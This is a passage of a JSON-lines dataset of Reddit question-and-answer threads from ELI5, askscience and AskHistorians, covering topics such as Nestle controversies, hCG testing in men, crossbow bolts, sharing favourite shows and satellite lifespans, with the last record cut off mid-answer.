{"q_id": "3cm7ex", "title": "why does everyone seem to hate nestle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cm7ex/eli5_why_does_everyone_seem_to_hate_nestle/", "answers": {"a_id": ["cswu9se", "cswua2v", "cswuik9", "csx00rc", "csx3oj7", "csx5azc", "csx5xi3", "csx6axt", "csx6kxt", "csx6pbp", "csy53zg"], "score": [15, 45, 442, 25, 9, 2, 5, 6, 6, 5, 2], "text": ["Most of the ire for them I've encountered comes from such things as this: _URL_0_", "They have a history of exploitative and careless behavior: [click](_URL_1_), [click](_URL_2_), [click](_URL_0_). The more recent frustration is stemming from their comments on water and their usage of it in California [during a drought](_URL_3_).", "Because like any multinational, Nestle has gotten up to some shady shit.  \n\nThe one that seems to rustle jimmies the most was Nestle aggressively marketing baby formula to new mothers in developing countries.  Saying things like it was better for the baby than breast milk.  The new mothers would be given free formula while they were in hospital but after they were discharged, they had to buy it.  The problem now is that those mothers had now stopped lactating since they didn't breast feed the baby so they are forced to buy expensive formula they can't afford to feed their babies.  Even if they could afford it, water in those countries isn't exactly safe to drink, exposing babies to more risk.  Babies died.  \n\n\nThere are more controversies Nestle was embroiled in.\n\n* Getting the definition of access to drinking water changed from a 'right' to a 'need' with the CEO quoted as saying \"access to water should not be a public right\".  \n* Attempting to strong arm Ethiopia to repay $6m in debt when the country was going through a famine   \n* Child labour use in their cocoa suppliers  \n* Price fixing of chocolates in Canada   \n* False advertising claims  ", "they basically steal water to sell it and don't think it's anybody's \"right\" to have water. unbelievably here they pay $2.44 for a million litres. who did they pay off to get that kind of deal?", "Basically, they privatize water and sell access to it in under developed countries to industrialized countries.\n\nTl;dr....they make poor people pay for their own water cause they're dicks.", "Nestle Pure Life bottled water is the most disgusting water I've ever tasted. That's saying a lot because I have swallowed nasty pool water, swallowed nasty lake water and drunk from a garden hose. I can't believe people pay money for that garbage.", "Aside from Nestle's awful stance on water privatization, they have also been found to utilize slave labor in West Africa. Nestle hides under the excuse that they simply agreed to do business as cheaply as possible in countries known for forced child labor. Two Federal Circuit Courts in the U.S. have agreed with Nestle so far, but the Ninth Circuit ruled in June that Nestle can be sued domestically. It's been appealed to the U.S. Supreme Court.\n\n_URL_0_\n\n > In 2005, three Malian nationals who were forced into working on cocoa plantations in the Ivory Coast filed a class-action lawsuit in a federal court in California. They claimed that the three corporations\u2014through purchasing cocoa harvested by child laborers\u2014\u201daided and abetted\u201d slavery, child labor, and torture.\n\n > According to court documents, the three plaintiffs\u2014identified only as John Does I, II, and III\u2014worked without pay for up to 14 hours a day, 6 days a week. They were only fed scraps of food, and were frequently beaten and whipped by the plantation overseers.\n\nOh, and they also lobbied Congress against passing a bill that would require certifying that cocoa ingredients were not created using child labor. Instead, they and a number of other multinational corporations simply agreed to \"voluntarily agree\" to work towards ending child labor:\n\n > The corporations also successfully halted the passage of a 2001 congressional bill that would have created a consumer label on cocoa products certifying that cocoa ingredients were not grown or harvested using child labor. In response to heavy lobbying, Congress instead adopted a voluntary agreement with corporations to work toward ending child labor.", "Nestle [killed thousands of babies for profit](_URL_2_) (read the two comments, they are STILL at it 40 years later), is driving villagers into poverty by [draining their water to bottle and sell back to them for massive profits](_URL_8_), and [use other cheaper vegetable fats](_URL_3_) such as [palm oil](_URL_0_) instead of cocoa butter in many products (which doesn't taste as good, of course). There are many more cases of Nestle being evil. These are three of the big ones. Just don't touch their products. Find an [alternative to Nestle products](_URL_6_) wherever you can, and try to go without if you can't.\n\nSeriously, if any company were to be compared to a James Bond villain, [it would be Nestle.](_URL_1_)\n\nIf you want to make it easy to know that what you are about to buy isn't owned by them, or another company you are boycotting, install the app [Buycott.](_URL_4_)\n\nAnd thanks to Redditor /u/-moose- :\n\nNestle knows\n\n\nInsight: At Nestle, [interacting with the online enemy](_URL_9_)\n\nSwiss food giant Nestl\u00e9 fined for [infiltrating activist group](_URL_7_)\n\n[would you like to know more?](_URL_5_)\n\n\n--------------\n\n\n\n\n", "I live in good Oakland, right across from one of their buildings. I used to cut across their parking lot as a way to get to the nearest public transportation spot (BART). Then one day they put up a gate on either side of the parking lot so that only people with security clearance can be in their parking lot. This added a total of 7 minutes onto my walk to BART both ways. When it first went up, I missed the train about 3 times. Fuck them and their gate.", "Nestle is stealling our water for free by Hope, BC Canada.  Then selling it back to us.  Nestle is stealing water right now, even in drought stricken California.  \nboycott Nestle just for what they did to the African mothers. (got them hooked on formula then babies wouldn't go back to breasfeeding) \n\nOr how about the child slave labor in Africa picking their chocolate then selling it to us over here. \n\nFuck you Nestle.  ", "Hahaha. I think I've never been that downvoted before!\n\nMaybe I should stop eating slavery chocolate..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.globalresearch.ca/the-privatisation-of-water-nestle-denies-that-water-is-a-fundamental-human-right/5332238"], ["http://www.confectionerynews.com/Manufacturers/Cocoa-child-slavery-case-against-Nestle-ADM-and-Cargill-proceeds", "http://crooksandliars.com/nicole-belle/nestl-ceo-doesnt-think-water-basic-ri", "http://www.bbc.com/news/world-africa-18644870", "http://www.businessinsider.com/protesters-drought-shaming-nestle-out-of-california-2015-5"], [], [], [], [], ["http://www.epochinspired.com/1377512-can-a-us-court-hold-nestle-responsible-for-child-slavery-in-africa/"], ["http://www.saynotopalmoil.com/palm-oil.php", "http://www.imdb.com/title/tt0830515/synopsis", "http://www.theguardian.com/sustainable-business/nestle-baby-milk-scandal-food-industry-standards", "http://www.nestle.com.eg/en/aboutus/faqs", "http://www.buycott.com/", "http://www.reddit.com/r/moosearchive/comments/1hhjnb/archive/", "http://i.imgur.com/C7OJ5GV.jpg", "http://www.independent.co.uk/news/world/europe/swiss-food-giant-nestl-fined-for-infiltrating-activist-group-8474189.html", "http://www.bottledlifefilm.com/index.php/the-story.html", "http://www.reuters.com/article/2012/10/26/us-nestle-online-water-idUSBRE89P07S20121026"], [], [], []]}
{"q_id": "1xjj69", "title": "how do the perfect shot pourers on liquor bottles work?", "selftext": "[Here's what I'm talking about.](_URL_0_) How does it know when to stop pouring?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xjj69/eli5_how_do_the_perfect_shot_pourers_on_liquor/", "answers": {"a_id": ["cfbx6km"], "score": [2], "text": ["A shots worth fills a cavity and then once it is full it seals one end and opens the other. The end stays sealed until you flip it back over."]}, "title_urls": [], "selftext_urls": ["http://barsupplies.com/images/measured-pourer.png"], "answers_urls": [[]]}
{"q_id": "12qf5f", "title": "pregnancy/cancer test for males: why is checking for cancer by looking for levels of 'Human chorionic gonadotropin' not a regular test?", "selftext": "[recently on rage comments](_URL_1_) somebody had a male friend who used a pregnancy test which became positive, the community told him to go to doctor to check for cancer, he has a small tumour on one testicle.  Turns out that [Human chorionic gonadotropin](_URL_0_) levels can come from cancer. Why is this not a standard tool for diagnostic medicine? \n\n(I hope this does not stray too close to giving out medical advice)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12qf5f/pregnancycancer_test_for_males_why_is_checking/", "answers": {"a_id": ["c6xcbsb", "c6xg9au"], "score": [24, 8], "text": ["Just typed this out elsewhere to kind of the same question:\n\nThis is completely true and yet it does not at all mean that this is a good way of detecting cancer in men.\n\nIn medicine, a test is not only graded on how sensitive it is (how likely you are to have cancer and for the test to come back positive) but also how specific it is (how likely you are not to have cancer, but still get a positive result)\nThe trouble is that in order for a screening test to be effective, it needs to be both specific and sensitive.\nIt also needs to be cost effective.\nSo in order to make a good screening test you need to ask yourself not only how good is the test, but also, even if we had a perfect test that never gets false positives or negatives (there is no such test), how much of an improvement can we expect in each patients prognosis (or for the cynic, how much money can we save on each patient's treatment).\n\nI have not looked this up (So it is my opinion) but I suspect that incidental findings of the cancers (note two cancers do not occur in males and are already diagnosed with serum b-HCG levels in women who will already clinically appear pregnant) that you have mentioned will not drastically improve mortality/morbidity rates when compared with clinical presentations.\n\n\nTL:DR - it is not the cost of the test, but the cost of the consequences of a bad test that matter.", "I kind of thought this question would eventually pop up. There are a couple of reasons why.\n\nFirst of all, testicular cancer is a fairly rare entity. There are fewer than 10,000 new cases per year, and fewer than 500 deaths per year resulting from malignant testicular cancer. Testicular cancer is usually first suspected by the presence of a firm nodule in the testicles, and there are no firm guidelines on what, if any, screening tests are appropriate. Even then they have a excellent survival rate ( > 95% at 5 years from diagnosis), and we have a wide range of options available, including surgery, radiation, and chemotherapy.\n\nPrimary testicular cancer are overwhelmingly derived from the germ cell line. Of these, they falls broadly into two subtypes, seminomatous and non-seminomatous, which are divided about half-and-half, with the non-seminomatous type being slightly more favoured.\n\nAmong the seminomatous germ cell tumors, \u03b2-hCG tends to be more elevated, but only in about 10-20% of people with early disease. In advanced disease, this rises to about 40%.\n\nAmong the non-seminomatous germ cell tumors, \u03b2-hCG is elevated in about only 15-20% of people with even advanced disease.\n\nTypically, other tests are done alongside biomarker tests, such as an ultrasound of the testicles to look at the character of the mass and its size, as well as its location, and sometimes a CT is ordered if metastasis to outside the testicles is suspected. In terms of biomarker tests, not only is \u03b2-hCG ordered, but also AFP (alpha-fetoprotein) and LDH (lactate dehydrogenase). If you use all three, you get a better idea of whether or not the mass is indeed a cancer in the proper context with all the other imaging information as well, but each marker on its own has bad sensitivity (bad at detection) and bad specificity (bad at confirming).\n\n\u03b2-hCG can also be elevated if you have something else going on, such as other cancers, active chemotherapy, or anything that disrupts the way the biochemical test for \u03b2-hCG is performed, which includes something as harmless as a mono infection (mono has nothing to do with testicular cancer, but because of the way the antibodies are structured against EBV, the virus that causes mono, it interferes with the test), and also any cause of hypogonadism.\n\nSo you can go out and buy these tests, but it is a bad test because it will a) not pick up the vast majority of real cases, b) not pick it up until it's a late-stage issue even in those cases that you do detect, c) will almost never be the first presenting sign/symptom, and d) is not particularly good at confirming the diagnosis either."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Human_chorionic_gonadotropin", "http://www.reddit.com/r/fffffffuuuuuuuuuuuu/comments/12kihx/pregnant_man_rage/c6wyitw"], "answers_urls": [[], []]}
{"q_id": "1z9w2m", "title": "Has there been a society or commune that had no written laws, but didn't plunge into anarchy? If so, how did it work/fail?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1z9w2m/has_there_been_a_society_or_commune_that_had_no/", "answers": {"a_id": ["cfrsxse", "cfs0ygs"], "score": [3, 17], "text": ["There have been plenty of societies that did not write anything down and that would not be considered to have \"plunged into anarchy\".  Any number of these worked because people are cultural beings that regulate one another in subtle and overt ways, none of which require written laws.\n\nAlso, \"laws\" come in many different forms: prescriptive, prohibitionary,  guideline/suggestion, etc.", "Technically speaking, a commune with no written laws is anarchy. Recent examples of anarchist communes would be Catalonia during the Spanish Civil War, and the Ukrainian Free Territory for a short time after the October Revolution."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3komw5", "title": "how does the app acorns work? is it a gimmick? is there a catch? or is it really that easy...", "selftext": "The app claims to take the \"loose change\" from your purchases and invest it for you.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3komw5/eli5_how_does_the_app_acorns_work_is_it_a_gimmick/", "answers": {"a_id": ["cuz58j0"], "score": [9], "text": ["what it does is round up your purchases and then withdraws that amount and deposits it into an acorn account.  then based off your preset investment choices it invests that rounded up money for you. \n\nso if you made purchases for\n\n1.68, 2.29, 4.29, etc.  i'd round up to 2, 3, 5 and deposit the \"change\" into your alcorns account and start investing (once you reached a minimum of $5).  i suspect they make money by charging a high (relatively compared to other account managers)  fee  \n\nthere's no catch.  but there's risk with investments.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "89bc7n", "title": "How can a bolt from a crossbow have a higher penetration power but less range than an arrow from a bow?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/89bc7n/how_can_a_bolt_from_a_crossbow_have_a_higher/", "answers": {"a_id": ["dwq0fwf", "dwq0j2h", "dwqhvv2"], "score": [22, 202, 7], "text": ["From the top of my head, bolts are usually released at MUCH higher speeds but are less aerodynamic. More wind resistance means it slows down faster over time. High penetration because more energy up close.\n\nArrows being more aerodynamic means that the will slow down less over time, but the initial energy is relatively low, so less penetration.\n\n", "Arrow range is very much dependent on aerodynamic stability. A longer arrow with stabilisation fins (fletching) goes a lot further than a stubby one without any fletching.\n\nCrossbow bolts are generally shorter, and require different (sturdier, less aerodynamic) fletching that doesn't mind following a solid groove. This combination of shorter shaft length and heavier/smaller fletching reduces their long distance stability. \n\nPenetration power is a function of the weight and speed of the projectile (and shape of the head, but let's assume that's equal for arrow and bolt). \n\nCrossbows can use all kinds of mechanics for cocking the string (levers, ratchets etc.), and are potentially *much* stronger than any bow can ever be (the bow being dependent on the direct strength of its user). This allows crossbows to fire heavier and/or faster projectiles, providing more penetration power.\n\n", "This may be more of an /r/AskHistory answer, but I think a lot of it has to do with specific bow and arrow vs the specific crossbow. The English longbow had superior range *and* penetration to the French crossbows of the time. The results of which can be seen from the battles of Crecy, Poitiers, and Agincourt.  This was due to the insane draw weight plus the use of a [bodkin point](_URL_0_), specially designed to pierce armor. \n\nRecurves today don't have anything close to the draw weight of an English longbow because, unless you literally trained your whole life, nobody would be strong enough to pull it back. Conversly, crossbows made of composite fiberglass with  complex pulley systems outmatch anything a human could ever draw. I would argue the modern crossbow has a range and penetration superior to any bow and arrow."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Bodkin_point"]]}
{"q_id": "6cjca2", "title": "when you show your favorite shows to your friend, why does it feel like it's not awesome enough at that particular time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6cjca2/eli5_when_you_show_your_favorite_shows_to_your/", "answers": {"a_id": ["dhv2s38", "dhv3d05", "dhv46lx", "dhv5oco", "dhva8td", "dhvbjoc", "dhvcxl5", "dhve5bm", "dhvfp15", "dhvg7et", "dhvgsdd", "dhvh0nl", "dhvhjxo", "dhvhkyw", "dhvhsdv", "dhvinob", "dhvirhp", "dhvjpsd", "dhvjr1q", "dhvjr7c", "dhvjszu", "dhvk502", "dhvk8j5", "dhvkcds", "dhvl0pn", "dhvmy4u", "dhvn2fq", "dhvnep9", "dhvnhgz", "dhvnn8b", "dhvnr87", "dhvoaie", "dhvoodz", "dhvoolo", "dhvosto", "dhvptat", "dhvq5j6", "dhvrpwr", "dhvut02", "dhvwnv2", "dhvwx8e", "dhw08ua", "dhw50uo", "dhw6rwu", "dhw7fch"], "score": [461, 64, 39, 10126, 1013, 64, 629, 83, 3, 5, 2, 3, 102, 6, 130, 6, 2, 2, 4, 3, 14, 5, 2, 2, 2, 2, 2, 3, 7, 2, 64, 2, 7, 2, 12, 26, 2, 5, 4, 3, 2, 2, 2, 2, 2], "text": ["This is always a funny experience, and it happens with nearly everything. Shows, music, art. I believe it is because you are attempting to see the item through your friends eyes. You also pay more attention to details, noticing things that are off. Lastly, the simple fact of your friend not being as interested or excited as you are. ", "Because you can't recreate that feeling when a show \"pops your cherry\" for it.\n\nIt also can't be forced on others.  Just recommend and move on.", "Because when you see something, all you think is \"wow so cool\" and you start to romanticize it in your head, remembering it as this cool thing. When you show it to your friend you start judging it, second guessing whether it was worth showing, and hence making it seem not as good as when you first saw it", "I agree with all the comments made so far, but I think we're missing one element:\n\nWe want our friends to like us for introducing them to it. We want recognition of being cool / cultured / having good taste - whatever.\n\nMy favorite author* on child psychology says that the deepest desire, the deepest motivator, for all people is a need to be seen. We want to be seen as valuable and something special, be accepted for who we really are. Sharing what we like is a form of openness and vulnerability, and that makes us even more focused on getting the right feedback, so we get nervous about whether this movie, or show, or music actually made the mark.\n\nThat's why I value it greatly when friends share their interests with me, and I make sure they are seen when they share.\n\nWow! Thanks for the Gold!\n\n- *Pursuant to feedback: Jesper Juul is the author I was referring to, and two great books are [\"Your Competent Child\"](_URL_1_)  and [\"Here I Am! Who are You?\"](_URL_0_)", "I used to be guilty of showing things to my friends and expecting a certain reaction out of them, and it took me such a long time to finally realize why it doesn't work. Basically, it just creates a certain 'all-or-nothing' pressure that feels gross both to impose on someone else and for that person to notice is being thrust on them. Even just saying \"Hey I did watch this already but I'd love to rewatch it with you!\" subtly turns people off since they're worried you're focusing more on their reaction than discovering something together. \n\nIt's an understandable mistake to make - I always get a vicarious rush when someone I know discovers for the first time a long-time favorite of mine (that actually pretty much sums up nerd-dom in general). But what I've realized is that you need to either wait for them to discover it on their own, or very casually ease them into it while accepting that despite them being on the same wavelength as you in general, they might end up hating it - and that's totally okay.", "It's even worse when you create something and then show it to a friend. Like write/produce a song, paint a picture, etc.", "I think it's cause when you watch a show, it usually takes a bit for the cast to mesh together and for them to hit a good stride for the humor. So by the time you're usually in the position where you feel this show is so great that you want to share it with people, you usually have watched a bunch of episodes already. \n\nBut when you typically show it to your friends, you start on the first episode, which may not be that super amazing as the later episodes are, especially once you know the characters and their idiosyncrasies yet. \n\nJust recently this happened to me with Stranger Things. My roommate raved about it, and wanted me to watch it. I watched the first episode and was meh, but he insisted I watch a few more. I did, and enjoyed them. But he made his recommendation to me by the time he already saw 4 of the episodes, so his perception was a bit different. \n\nHope that makes sense. ", "The funniest/best episode of a TV show is often only great after watching all the other episodes you've seen leading up to it. You forget that it took a long time to develop the characters you've come to love.\n\nAlso, it's a lot of pressure to put on somebody. I'll recommend a show to somebody, but I won't try to force it on them. They are more likely to enjoy it if they come into it on their own accord.", "You expect all the emotions you felt throughout your experience to immediately be reciprocated by them.", "I showed my friend Nathan for You. He liked it as much as I did. That show is a national treasure.", "Limbic resonance.  When you watch it with someone who doesn't like it as much you resonate emotionally with them and thus it seems less interesting.  If you watch it and they love it more than you it will seem even better. ", "The show has a lot of built up emotion, plot twists, and character development that you are aware of but your friend isn't. The scene you choose for him/her to see probably is the culmination of something or a foreshadowing of what is to come. However your friend watching just a minute or so of a scene doesn't have this connection yet, and won't have the same emotional punch which is giving you.", "I'd say it's because nobody likes the feeling of having a display of emotions coaxed/coerced out of them.\n\nWhen you're hyping something up and then showing it to your friend, you're putting your friend on the spot, to react in a particular way that pleases you.\n\nYou're basically telling him to stroke your ego, and this deflates the mood. Your friend can't be into the show the way they might if you just casually showed it to them without hyping it as your \"favorite\" show.", "Things seem perfect in our head. Only when exposing them to different viewpoints are its flaws found; such is the beauty of diversity.", "One of my biggest pet peeves is when people try to show me a funny Youtube video, and then when a funny part happens, they *look at me to see if I laugh*.  Might as well turn the video off at that point, it makes me so uncomfortable I wont even smile.", "\"Yo check out this new song. It's the best song ever... \n(Halfway through song.. without much of a reaction)\n...actually never mind. It's just alright. I oversold it\"", "Oddly, whenever I introduce a show/game/movie while talking about different elements it doesnt sound all that epic. But whenever I'm really into something i just go with words like\"epic, great,awesome\" without going into much detail. What is odd is that they seem to actually go and check out the show 8 times out of 10 after the former introduction, rather than latter.\n", " this reminds me of a friend who is really in to Wide Spread Panic. He plays these song for me, and hes just so enthusiastic about their songs. And i do listen, but i keep thinking maybe im missing the element that makes it awesome to him. And I don't want to put down WSP cause i know they mean the world to their fans, but i just cant seem to capture the same excitement he has for them.", "maybe, because for a moment you're not viewing it through your eyes, you're trying to perceive it through someone elses. In a way, perhaps, that's why there's a big aspect of social media that makes a lot of people feel like shit. You're not looking with your own eyes anymore. ", "Cause your friend knows how much you like it cause you talk about it all the time and when you show them they want to act all smug about how unimpressed they are in an attempt to be the cooler person. But secretly they are in awe and they go home watch the entire 5 seasons by themselves over the weekend and then go into work Monday talking about the show and how it's the best thing ever. So now they show it to one of their friends and the viscous cycle continues until the whole world has watched it and we all agree it's awesome", "I'm gonna go a different direction here. I believe people sometimes need to come to things on their own. The same ideology is often applied to teaching/learning. Maybe said show caught my eye because of something going on in my life at that point in time and I was touched. Maybe the friend/SO that I want to share it with will probably live it too but they have to come to it in their own time. \n\nI think it's the same when people choose to begin a show at the same time and for whatever reason continue watching together. It can build a tradition that carries some nostalgia and because both parties were drawn to it for their own reasons they appreciate together and separately at the same time. ", "Aside from what's been said, I think the presence of another person matters. Why does it seem that when your friend sends you a funny video on facebook, it seems to be funnier online than if your friend shows it to you in real life? I think the presence of another friend induces a little bit of anxiety because you are subconsciously worried about showing the right reaction.\n\nI'm not sure about studies involving favorite shows/videos, but people do perform differently on various tasks depending on if others are present or not.", "Because you empathize with their perspective, and if you suspect that they might nit like it, it will effect how you think of it. Your goal getting them to watch it is for them to like it, and so you are assessing whether they do rather than just whether you do.", "No proof to back this up, but I think it's because we all have this inner desire to discover things by ourselves, or at least not be told. I've noticed that I get a much more positive results when I simply start playing what I want people to see/hear than telling them \"hey look at this\" ", "Had a friend show me a Youtube video of the funniest comedian he has ever seen. \n\nIm intrigued. I mainly watch content that has humor.\n\nIt was Gabriel Iglesias. Fluffy. \n\nHe wanted to know why I wasnt laughing. I didnt find him funny and maybe he built the moment up too much. \n\nAnd I know he doesnt like Louis CK or Norm MacDonald so why bother? ", "\nThat happened more when I was younger, when a) it is a bit easier to get starry-eyed about something and b) you often don't know your friends as well as you think you do.\n\n\n\n\n", "A friend of my girlfriend had never even heard of Reservoir Dogs. We showed it to her, and about 5 minutes in she was on her phone looking at facebook or some other inane shit.  Needless to say, we rarely see her these days.", "Partly because in a group situation you start to see things through other's eyes. When I show my sister a film I like I not only start seeing loads of flaws I hadn't seen,or cared about, before I also suddenly know exactly what she is going to say about it. We have a very strong ability to emphasis with other people but it works 100 times better when they are sitting right next to us than if we are just trying to thing about what they might like when they are not there.", "I did this to a friend forced him to q arch DBZ and he didn't get goosebumps when Goku went super saiyan .We are no longer friends    ", "Before we show it to our friends, we tend to oversell the show. Also, our friends' expectations will be much higher.  ", "I have that problem where my gf and I will be totally looking forward to a show but if I happen to watch an episode before her she will lose all interest in the entire series no matter what.  It basically has to be her idea and on her own terms and we must watch everything together.  She seemed totally down with the previews of Westworld but the second she found out I watched the first episode on my own she basically blacklisted it for herself.  Hasn't watched the series to this day.  Meanwhile she has no problem powering though a 22 episode season of some other random show in a week and asking me why I haven't given it a chance or why I won't rewatch it with her.  Some people just need to feel like they're the entertainers I think.  \n\nAlso as others have said before some of it may come from constantly worrying what your friend is thinking.  The best way to ensure your friend doesn't enjoy what you're showing them is to constantly pause the show/movie and try to get them to validate how kewl it is.  It's very awkward for them and a guaranteed way to ensure they never wanna watch anything you suggest to them again.\n\nEdit: I suppose I'll add that it is indeed a dick move on my part to watch something without her that we planned on watching together.  That being said she will occasionally do the same thing.  Like I suggested she rewatch season one of Master of None so we could start season two.  She admitted to me after two days that she got so hooked she binged watched straight through season two one night while I was asleep.  I just laughed cause it didn't really bother me.  She is a binge watch pro and can burn through shows way faster than I can.  I came clean and admitted I started season five of the Americans without her and she didn't mind.  Sometimes we just aren't on the same wavelength with shows I guess.  We usually understand, but as I said above earlier she has a really difficult time getting into something I've started without her.  \n\n", "I always figured it's because I've badly judged whether my friend will like it or not, so I adjust what I recommend to them. It also means you'll be putting the show under an intense microscope AND waiting for them to react the same way as you do about it. ", "On the flip side of this is that sometimes your friends may start giving you shit for not liking some particular show. Fuck that. I'm not going to have some kind of amazing connection to every character after the first episode of a show you've been watching and rewatching for years. That doesn't make me inferior or strange at all.\n\nA great example of this is Always Sunny. It's a wonderful show, but it takes a little time to get a feel for every character. If I showed a buddy who'd never seen it the first episode, I couldn't expect them to understand those typical \"Mac things\" that Mac says, etc., and that's fine. It takes time.", "When I'm the one being shown something from someone else who hypes it up a lot first, I always feel an obligation to laugh or appreciate it, and that kinda kills it for me. \n", "This is actually well-established cognitive science.\n\nThe moment you show your shows (or current romantic interest, pictures of your kids, something you feel personally connected to), you are opening your mind to judgments, that run like computer programs in your brain, but that usually do not run. These are things you generally like, and so usually your judgment programs are offline.\n\nOf course, this phenomenon varies from person to person. Some people, commonly dubbed \"insecure,\" would feel this phenomenon more acutely. \n\nPeople who are generally more psychologically robust are less susceptible to experiencing this phenomenon. These people wouldn't have an investment in their friends liking what they like. They'd be more open to hearing their friends' criticism, and experiencing their own judgment programs, about their shows, their friends, and themselves, more generally.", "Agree with most of these comments, but some fail (in my opinion) to pinpoint exactly where the \"weird, awkward\" feeling comes from. I have 2 possible culprits for this.\n\n1. Extra knowledge. When watching a series for a second time, you usually notice things that play a part later. Things you didn't notice before. This can make a series more enjoyable to watch again, but also makes you a lot more enthusiastic while watching it with the newly introduced friend. Imagine me pointing at a really small, tiny detail and saying \"That is so awesome\", simply because it matters a lot later. kinda makes it weird.\n\n2. And this is the big one. When watching a series that you really want someone to like, it's kinda like preparing for a date. You want it to be awesome, you want it to be perfect. Thus you notice the small problems so much more. Due to your own fear of the other person not liking the series, you instinctively notice more bad parts and end up trying to defend it, rather then enjoying the movie. Your friend will likely not even notice these small things.\n\nBasically, our brains are kinda weirdly wired when it comes to introducing things to others. ", "Tried to show my now ex gf the show Doctor Who. And I know it kind of starts of slow. But she basically spent the entire time looking at her phone. So I gave up.\n\nAt least one of my new roommates pretended to care about things I was interested in. Although I am crazy so she moved out promptly.", "This happens with alot with songs. \"It's going to get better, I swear.\", \"It's just the intro\"", "There is a theory called the Expectancy Disconfirmation Theory, another one of those things that explains intuition.\n\nBasically it states that, a given expectation (in this case, the expectation that your friends will love it just as much or more as you do), will be met by a given reality/experience (in most cases, your friends liking it less than you thought).\n\nIf you put a number value to how much you expected them to like it, and how much they actually liked it, then you can figure out if your expectations were satisfied or not (technically speaking, your expectations will either be Positively Disconfirmed, or Negatively Disconfirmed. Some also argue the existence of a Neutral Disconfirmation).\n\nYep, totally get that a five year old wouldn't understand this.", "In general, this happens to me when my friends overhype things, be it video games or shows. \n\nI have one particular friend who constantly claims that *every* movie or TV show he sees is either *the best ever* or *so fucking good*. Legitimately, to him, those are the only two categories. On his scale, things like the Warcraft movie are as good as Inception, the Fargo series, and Lord of the Rings. \n\nPeople, please don't say that literally everything is amazing or the best. When you do that, you turn a passable 5/10 or a fun 7/10 into something shitty, because now I'm mentally expecting a masterpiece of storytelling. \n\nNot everything has to be perfect or amazing. It's entirely possible for a movie to be pretty shitty and enjoyable. \n\nIf this same friend had told me of the Warcraft movie \"It has some serious flaws, and it isnt best movie of the year material, but it was fun as fuck,\" I would've enjoyed it a whole lot more. Instead, it's the next *best fantasy movie ever*, and so it gets compared to things like Lord of the Rings. \n\n\n\n", "Peoples moods are changing on a hourly/weekly even monthly basis. Someone may feel particularly into nature more than normal on a given week because they had a great experience doing their homework in the park when a lovely robin happened to fly by and sit on their head and tweet at the exact moment you write the final word. As a result, they were more likely to click on that youtube video demonstrating how to draw leaves in photoshop, and therefore the picture of a leaf that they created is now the most amazing thing to them because it means something in their life, but not necessarily anyone else. \n\nI once thought [this](_URL_0_) would be cool to share with someone. It got a terrible reaction.", "Last time i introduced a friend to a show, he liked it alot. My friend, and I smoked and watched one punch man together", "Stepping away from the social psychology aspect of it...\n\nI think it's because no single episode includes all that is awesome about the show. When you think about the show you love, you remember all of the awesome high points from the whole series. High points that were spread out over a dozen episodes, and which wouldn't have been as awesome without the slow burn of character/plot development the rest of the time.\n\nSo you want to show them the awesome.. but the awesome really took 5-6 hours to make, and you've got 20 minutes.\n\nI have a similar problem when I want to watch a random episode from a show I like. \"oh no, not that one... that's ones only ok... I've seen that one five times\" etc and you've got a whole season and you don't want to rewatch any of it in isolation despite *loving* the show...", "So how did the actual date go?", "Try watching the movie with kids. Movies get WAY better. \nSuper man (Christopher reeve) catching that helicopter? my kid was jumping on the couch. (WOOOOOOYAY Lookatim! I need a cape!)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.amazon.com/Here-Who-are-You-Resolving/dp/1468579339/ref=pd_bxgy_14_img_3?_encoding=UTF8&amp;pd_rd_i=1468579339&amp;pd_rd_r=Q8EM53YZGH6H35X2WJMW&amp;pd_rd_w=WMOUP&amp;pd_rd_wg=tMTL8&amp;psc=1&amp;refRID=Q8EM53YZGH6H35X2WJMW", "https://www.amazon.com/Your-Competent-Child-Parenting-Education/dp/1452538905/ref=pd_bxgy_14_img_2?_encoding=UTF8&amp;pd_rd_i=1452538905&amp;pd_rd_r=GXD7MJKYMT2S2N848VDD&amp;pd_rd_w=ffbeY&amp;pd_rd_wg=QuRf5&amp;psc=1&amp;refRID=GXD7MJKYMT2S2N848VDD"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=SZPfsPJDfXc"], [], [], [], []]}
{"q_id": "5zb4t2", "title": "How is it possible that satellites last far longer than planned?", "selftext": "For example, the Meteosat-7 satellite was launched around 20 years ago and is still working fine without the need for maintenance. The satellite was supposed to stay in geostationary orbit for only 6 years.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5zb4t2/how_is_it_possible_that_satellites_last_far/", "answers": {"a_id": ["dewq37h", "deww82e", "dex515r", "dex9xcx", "dexcfbh", "dexd3po", "dexh57u"], "score": [365, 9, 2, 21, 30, 13, 2], "text": ["Usually when engineers say something will last for X years, it means that the thing has 95% (for example) chance of still working after X years. It doesn't mean that as soon as the X years have passed the satellite will stop working. This is something people often don't understand when they are talking about planned obsolescence. \n\nFor satellites there are a couple of limitations on the lifespan on top of stuff just breaking up. First is the propulsion. In geostationary orbit you need a bit of propellant to correct for perturbations caused by the moon and the sun gravitational pull as well light pressure. When the propellant runs out the satellites are placed into a graveyard orbit so that they are out of the way of other satellites. Sometime thrusters perform better than expected, or the rocket is extra precise in its launch so you end up having spare propellant and you can extend the mission. \n\nAnother thing that happens as satellites age is the degradation of solar panels and batteries. The solar panels lose efficiency when they are struck by 